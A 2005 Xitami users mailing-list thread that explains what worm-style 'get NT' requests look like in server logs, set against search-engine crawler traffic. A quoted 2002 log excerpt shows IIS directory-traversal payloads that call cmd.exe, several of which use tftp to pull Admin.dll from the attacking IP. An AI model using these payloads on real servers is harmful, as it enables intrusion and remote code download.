[Xitami] Changing Port 80

[Ron Ackerman]

Just a note here, don't confuse attacks with Search Engine Web Crawlers. The
ones that Alex showed clearly appear to be searching for executables. Not
something a Search Engine would be looking for. My problem was when the MSN
search bot hit my sites indexing every page, every image and every day in
the calendar. And although you generally want the search engines to find
your site, I expect not at the expense of eating up bandwidth and slowing
down your server.

Ron

-----Original Message-----
From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On
Behalf Of Johannes Prost
Sent: Friday, February 11, 2005 8:30 PM
To: xitami@lists.xitami.org
Subject: Re: [Xitami] Changing Port 80


thank's Alex.See that here sometimes too.

Johannes

Am 11 Feb 2005 um 18:44 hat Alex Barna geschrieben:

> Johannes Prost wrote:
>
> > sorry guys, but what is an "get NT" type request ? Would some one be
> > willing to explain that to me in more detail ?
> >
> > Thank you. Johannes..
>
> Stuff like this in the Log & Error files. Note the RoadRunner IP address.
> These are attempts to hack a windows server & just fill up the Xitami log
file.
>
> 65.25.137.217 - - [17/Feb/2002:13:37:48 -0600] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:37:56 -0600] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:04 -0600] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
> 1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:11 -0600] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
> 1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:18 -0600] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:26 -0600] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:33 -0600] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:40 -0600] "GET
>
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir
> HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:47 -0600] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:39:13 -0600] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:39:21 -0600] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-
> i%2065.25.137.217%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 200 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:39:50 -0600] "GET
/scripts/..%%35%63../Admin.dll HTTP/1.0" 200 -1
> "" ""
> 65.25.137.217 - - [17/Feb/2002:13:39:57 -0600] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:40:04 -0600] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-
> i%2065.25.137.217%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 200 -1 "" ""
>
> Alex,
>
>
>
> -- Xitami Users Mailing List -- For Xitami support To unsubscribe:
> http://lists.xitami.org/mailman/listinfo/xitami



--
Xitami Users Mailing List -- For Xitami support
To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami
--
No virus found in this incoming message.
Checked by AVG Anti-Virus.
Version: 7.0.300 / Virus Database: 265.8.7 - Release Date: 02/10/2005

--
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.300 / Virus Database: 265.8.7 - Release Date: 02/10/2005